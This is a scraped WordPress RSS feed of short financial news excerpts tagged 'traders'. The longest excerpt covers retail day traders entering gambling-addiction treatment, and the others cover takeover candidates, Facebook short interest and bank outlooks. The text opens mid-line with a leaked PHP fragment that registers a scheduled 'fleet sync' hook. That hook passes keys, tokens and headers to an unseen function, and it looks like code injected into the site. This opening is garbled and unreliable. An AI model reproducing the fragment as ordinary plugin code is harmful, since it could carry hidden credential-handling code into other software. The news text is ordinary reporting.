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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); traders – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Sep 2022 13:59:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png traders – Brief News https://briefnews.eu 32 32 Some retail traders are turning to gambling addiction centers after a wild 2-year ride for stocks – but clinicians’ limited understanding of the condition and markets means help can be hard to come by https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/ https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/#respond Sun, 11 Sep 2022 13:59:21 +0000 https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/ gambling
A croupier waits for gamblers at a table inside the Marina Bay Sands casino in Singapore April 27, 2010.

Reuters/Pablo Sanchez

  • There's been an uptick in retail investors checking into gambling treatment centers. 
  • Treatment can be limited, as clinicians often don't understand the condition or the stock market. 
  • That's left some addicted traders discouraged – and sometimes diving back into the market.

Matt Widmann, a 35-year-old commercial fisherman from Alaska, knew that he had a problem when he was spending more time trading stocks than with his family. He would trade for around seven hours a day, starting at the crack of dawn and ending mid-afternoon, usually too worn out from the rollercoaster of wins and losses to spend time with anyone.

Then, this past February, he hit a breaking point. Widmann says he traded some same-day expiration contracts, and wound up losing nearly his entire portfolio – around $ 30,000 in life savings, split among shares of Nvidia, Tesla, and other stocks popular with retail traders. 

"I was a mess. I was just in tears on the couch. I was like, I don't wanna live anymore," he told Insider.

Now five months "sober" from the stock market, Widmann realizes he's part of a greater wave of retail traders who developed a problem akin to gambling addiction over the two years of the pandemic market's wild ride. 

But help is expensive, limited, and oftentimes, led by clinicians who don't know much about the stock market themselves. That's leaving some addicted traders feeling discouraged – and sometimes, diving back into the stock market after treatment.

Help can be hard to come by

There is no official diagnostic criteria for day-trading addiction.

Experts say that lack of classification is one of the biggest barriers for retail traders like Widmann who are seeking help. Lacking specific criteria for their condition, they turn to gambling addiction treatment centers, which have seen an influx of day traders.

"I view [day trading] as gambling," Dr. Timothy Fong, the co-director of UCLA's Gambling Studies program, told Insider. "I've had a lot of patients where I say to them, 'You've developed harmful consequences because of your behavior related to finances. So for insurance purposes, I'm letting you know, I'm putting this as a gambling disorder diagnosis.' Because there is no financial trading disorder, right? We don't have that at all." 

A spokesperson for Gamblers' Anonymous New York told Insider that the organization has seen around a 15% increase in the past year from day traders who have called to ask for help, and in the past two years, Fong estimates that his program at UCLA has seen about a sixfold increase in day traders who have called, up from five a month to about one per day.

For those looking for it, help doesn't come cheap. Algamus, one of the oldest gambling rehabilitation centers in the country, offers an inpatient program that costs $ 16,000, near the low end for such programs. Similar treatment can cost $ 5,000-$ 45,000, according to Algamus' founder, Rick Benson, and most insurance providers refuse to cover treatment if gambling disorder is the primary diagnosis.

On top of the costs, Fong believes there are limitations to how much gambling treatment centers might help day traders, since those programs aren't specialized for people who are addicted to the stock market.

"We think that the same principles that work for gambling…for machines and poker, sports betting, craps, things like that, should work for a financial trading addiction. But you can't just automatically assume that," Fong said. 

He also noted that therapists are often unfamiliar with the stock market themselves, limiting the support they can offer.

"A lot of times when I ask patients, I don't understand what they're trading. I don't understand the mechanism of where the money went," he admitted. 

Widmann says the therapist he saw was only able to provide mood support.

"I don't think that they actually understood specifically what was going on with me," he said. "They understood, 'okay, you're having some financial depression, you're like having some sort of compulsory behavior,' but I don't think they understood the intricate nature of [retail trading], to be involved in something that both professionals engage with and is rife with degenerates."

That contrasts with the sense of community to be found online, in places like the popular Wall Street Bets forum, where traders share a self-deprecating but mutual understanding of the highs and lows of investing. Widmann believes that's part of the problem, and recalled the pressure to trade created by these forums and the thrill of being in a Discord chat with fellow traders communicating in real time. 

"It grew to be so compulsory because… you're in this group of people, and you want to be a part of what they're doing."

Diving back in 

Even now, Widmann isn't certain he's out for good. 

"It's definitely crossed my mind again where it's like, if I get a big enough position, maybe I'll dabble in it again. So I can't say that it's a hard no." Widmann said. 

That desire to dive back into the market even after treatment poses one of the biggest challenges for providers in the field, Fong said, and Algamus' Benson added that it's one of the main differences between day traders and gamblers.

"[A day trader] may live in the delusion that he's really just investing," Benson said. 

He says one of the clinic's biggest challenges is convincing traders that they were not "professional investors," Benson said, and showing patients that their "bad investment year" is actually something pathological. That involves a mix of gambling education, individual therapy, and group therapy, which he says is particularly important. 

"Gamblers are terrific liars and bullshitters. Whereas in group therapy, the group works against that," Benson said.

Dan Field, a gambling therapist who is creating a treatment program specifically for day trading addiction, speculates it has to do with a discomfort in accepting reality. 

"They have that itch to get the money back and they think this is just a temporary pit stop," he told Insider. "So I try to speak to them as a counselor and as a friend. I care about you and this is why I'm giving you this hard advice: you have to sit with these losses for now," he tells his patients.

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  • Amid the turbulence that’s rocked the stock market this year, one group of traders is on pace for its best year on record.
  • Bank of America Merrill Lynch shows just how well they’re doing so far in 2018, and explains which specific investment decisions have contributed to their success.

As equity investors attempt to make sense of all the cross-currents whipsawing markets right now, one group of traders can rest easy.

That would be active managers — also known as stock pickers — which make their living identifying single stocks that they believe will outperform.

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]]> https://briefnews.eu/coming-to-grips-with-compliance-and-regulation-for-cryptocurrency-traders/feed/ 0 Meet the traders, investors, and technologists pioneering crypto on Wall Street https://briefnews.eu/meet-the-traders-investors-and-technologists-pioneering-crypto-on-wall-street/ https://briefnews.eu/meet-the-traders-investors-and-technologists-pioneering-crypto-on-wall-street/#respond Sun, 15 Apr 2018 19:55:29 +0000 http://briefnews.eu/meet-the-traders-investors-and-technologists-pioneering-crypto-on-wall-street/ unnamed 7BI

This hasn’t been an easy year for cryptocurrency enthusiasts.

Bitcoin, the largest crypto, is down more than 70% from its all-time highs set at the end of 2017, as regulators look to clamp down on exchanges and tech companies shun advertisements related to the nascent digital coin market.

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]]> https://briefnews.eu/meet-the-traders-investors-and-technologists-pioneering-crypto-on-wall-street/feed/ 0 Mark Zuckerberg’s hearing has Facebook traders bracing for the worst as hedges surge https://briefnews.eu/mark-zuckerbergs-hearing-has-facebook-traders-bracing-for-the-worst-as-hedges-surge/ https://briefnews.eu/mark-zuckerbergs-hearing-has-facebook-traders-bracing-for-the-worst-as-hedges-surge/#respond Tue, 10 Apr 2018 13:35:46 +0000 http://briefnews.eu/mark-zuckerbergs-hearing-has-facebook-traders-bracing-for-the-worst-as-hedges-surge/ nyse facebookReuters / Keith Bedford

  • Mark Zuckerberg will face a Congressional hearing on Tuesday to address Facebook’s involvement with a political-research company that accessed 50 million user profiles illegitimately.
  • Based on how stock traders are positioned, they’re expecting Facebook’s recent share price woes to continue.
  • Follow Facebook’s stock here.

Facebook‘s stock has taken a serious beating in the weeks leading up to chief executive officer Mark Zuckerberg’s appearance in front of Congress on Tuesday. And based on how traders are positioning ahead of the testimony, they think the selling can get even worse.

Short interest — or a measure of bets that a stock will decline — has spiked to 0.43% of shares outstanding for loan, the highest since September 2015, according to data compiled by IHS Markit. The gauge has more than doubled from its levels in mid-March.

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]]> https://briefnews.eu/mark-zuckerbergs-hearing-has-facebook-traders-bracing-for-the-worst-as-hedges-surge/feed/ 0 GOLDMAN SACHS: Traders think these 15 companies are the most likely to get taken over this year https://briefnews.eu/goldman-sachs-traders-think-these-15-companies-are-the-most-likely-to-get-taken-over-this-year/ https://briefnews.eu/goldman-sachs-traders-think-these-15-companies-are-the-most-likely-to-get-taken-over-this-year/#respond Sun, 25 Mar 2018 17:37:26 +0000 http://briefnews.eu/goldman-sachs-traders-think-these-15-companies-are-the-most-likely-to-get-taken-over-this-year/ twitter nyseReuters / Brendan McDermid

  • Wall Street is expecting merger-and-acquisition activity to accelerate in 2018, and there’s a way to see which companies options traders think have the highest chance of being taken over.
  • Goldman Sachs has singled out 15 companies whose options reflect high expectations of an acquisition.

Wall Street is expecting a major uptick in merger-and-acquisition activity this year. But that information is worthless for single-stock traders unless they know which companies have the highest chance of being taken over.

That’s where Goldman Sachs comes in. Katherine Fogertey and the rest of the firm’s derivatives team have crunched the numbers and identified a handful of such firms. And these aren’t simply qualitative recommendations — Goldman used an exact, options-based methodology designed to highlight companies for which an M&A premium is already being reflected.

The firm’s approach involved calculating the three-month/12-month term structure for a universe of companies. Goldman then ranked them by degree of downward-sloping term structure, while also ensuring the firms met a minimum liquidity threshold.

(Note: Term structure measures volatility expectations in one period relative to another. By comparing the three-month measure to the 12-month, Goldman is assessing investor expectations around how much the stock will move in the short term relative to longer-term volatility potential.)

The ultimate objective was to pinpoint stocks where the “options market appears better positioned for the stock to trade up sharply in the next three months, consistent with a higher potential for M&A.”

Without further ado, here are the 15 stocks for which Goldman says options traders are most aggressively positioned for a takeover.

15. TransDigm

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Ticker: TDG

Industry: Industrials

Market cap: $ 16.4 billion

Term structure: 1.04

14. C.H. Robinson Worldwide

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Ticker: CHRW

Industry: Industrials

Market cap: $ 12.7 billion

Term structure: 1.04

13. Kimberly-Clark

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Ticker: KMB

Industry: Consumer staples

Market cap: $ 39.3 billion

Term structure: 1.05


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]]> https://briefnews.eu/goldman-sachs-traders-think-these-15-companies-are-the-most-likely-to-get-taken-over-this-year/feed/ 0 Wall Street banks are at ‘an inflection point’ — and it’s bad news for traders https://briefnews.eu/wall-street-banks-are-at-an-inflection-point-and-its-bad-news-for-traders/ https://briefnews.eu/wall-street-banks-are-at-an-inflection-point-and-its-bad-news-for-traders/#respond Fri, 16 Mar 2018 00:51:23 +0000 http://briefnews.eu/wall-street-banks-are-at-an-inflection-point-and-its-bad-news-for-traders/ Screen Shot 2018 03 15 at 11.13.00 AM

  • Morgan Stanley and Oliver Wyman just published their annual blue paper on wholesale banks and asset managers.
  • The report highlights growing pressures on the asset management industry, which will in turn translate into added cost pressures for the wholesale banks that serve them.
  • “We think we are at an inflection point,” the report reads. “Institutional and corporate client revenue pools have historically grown at a similar pace, each comprising ~50% of global wholesale banking revenues. However, tailwinds on the corporate wallet and pressures on the institutional wallet present a shift that we think is here to stay.”

Wall Street banks are at “an inflection point.”

According to a big report from Morgan Stanley and Oliver Wyman on wholesale banks and asset managers, it’s now time for banks to shift their focus towards corporate business, versus the institutional investor clients they’ve been focused on.

That’s because the asset managers are under intensifying cost pressure. As a result, institutional client revenue growth over the next three years is forecast to slow to a compound annual growth rate of 2%. Corporate client revenues in contrast are forecast to grow at CAGR of 5% in the short term, as rising rates bolster various business lines.

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“We think we are at an inflection point,” the report reads. “Institutional and corporate client revenue pools have historically grown at a similar pace, each comprising ~50% of global wholesale banking revenues. However, tailwinds on the corporate wallet and pressures on the institutional wallet present a shift that we think is here to stay.”

The report highlights a positive medium-term outlook for corporate revenues in macro trading, dealmaking, and transaction banking.

“Cyclical tailwinds are set to drive revenue growth in the corporate segment, but with very different dynamics between “CFO-down” and “CFO-up” relationships,” the report said.

“CFO down” businesses include debt business, lending, cash management and trade finance. As the name suggests, these are usually delivered to the CFO and Treasury units. These businesses tend to be sticky and stable, and will benefit from rising rates. And it’s here that Morgan Stanley and Oliver Wyman are forecasting the fastest growth in revenues (5.5% CAGR over the next five years).

“CFO-up” products in contrast include headline grabbing equity deals, mergers and acquisitions, and leveraged finance. These are higher return businesses, but also more volatile and more relationship based. Specialized advisory firms have already eaten in to this revenue pie, taking market share from the bigger banks.

The report said:

“To win with corporates, banks need to invest in relationship bankers for CFO-up businesses and in technology for CFO-down businesses. CFO-up products, like M&A advisory, are high-touch relationship-driven businesses. We don’t think that will change any time soon. Highly skilled relationship bankers are key for banks to continue investing in. For CFO-down products, like transaction banking, technology is set to disrupt, define and expand the future state of the industry.”

]]> https://briefnews.eu/wall-street-banks-are-at-an-inflection-point-and-its-bad-news-for-traders/feed/ 0 Here’s why Gary Cohn is giving up and Republican free traders are losing to Trump https://briefnews.eu/heres-why-gary-cohn-is-giving-up-and-republican-free-traders-are-losing-to-trump/ https://briefnews.eu/heres-why-gary-cohn-is-giving-up-and-republican-free-traders-are-losing-to-trump/#respond Wed, 07 Mar 2018 00:59:30 +0000 http://briefnews.eu/heres-why-gary-cohn-is-giving-up-and-republican-free-traders-are-losing-to-trump/ Donald TrumpAP

  • Republicans in Congress don’t want President Donald Trump to implement new tariffs on aluminum and steel.
  • They can stop him from doing so, but they’re not.
  • And they likely won’t do anything, not wanting to set up a fight with Trump.

While we’re all talking about “Trump’s” tariff plan, I wrote on Monday that tariffs are fundamentally up to Congress.

The Constitution gives Congress the power to levy tariffs. The president only has any power to impose tariffs because Congress wrote laws giving him that power, and they can write new laws to constrain the power.

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]]> https://briefnews.eu/heres-why-gary-cohn-is-giving-up-and-republican-free-traders-are-losing-to-trump/feed/ 0 Traders are fleeing the stock market in record numbers — but a pair of secret weapons are keeping it afloat https://briefnews.eu/traders-are-fleeing-the-stock-market-in-record-numbers-but-a-pair-of-secret-weapons-are-keeping-it-afloat/ https://briefnews.eu/traders-are-fleeing-the-stock-market-in-record-numbers-but-a-pair-of-secret-weapons-are-keeping-it-afloat/#respond Sun, 04 Mar 2018 19:16:37 +0000 http://briefnews.eu/traders-are-fleeing-the-stock-market-in-record-numbers-but-a-pair-of-secret-weapons-are-keeping-it-afloat/ life boat raft waterGetty Images / Ian Forsyth

  • Investors pulled a record amount of money out of exchange-traded funds and mutual funds in the first three weeks of February, according to data from UBS.
  • The firm says US stocks hung in there admirably considering this pressure and attributes their resilience to two secret weapons.

February was not kind to stock traders.

It started with a bang, as the benchmark S&P 500 suffered through its first 10% correction in years. That made the rest of February an uphill slog for the index, which finished down 3.9%, its worst month since January 2016.

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]]> https://briefnews.eu/traders-are-fleeing-the-stock-market-in-record-numbers-but-a-pair-of-secret-weapons-are-keeping-it-afloat/feed/ 0 The selloff continues: Here’s a super-quick guide to what traders are talking about right now https://briefnews.eu/the-selloff-continues-heres-a-super-quick-guide-to-what-traders-are-talking-about-right-now/ https://briefnews.eu/the-selloff-continues-heres-a-super-quick-guide-to-what-traders-are-talking-about-right-now/#respond Tue, 06 Feb 2018 13:37:07 +0000 http://briefnews.eu/the-selloff-continues-heres-a-super-quick-guide-to-what-traders-are-talking-about-right-now/ oil tradersReuters/Brendan McDermid

Dave Lutz, head of ETFs at JonesTrading, has an overview of today’s markets.

Here’s Lutz:

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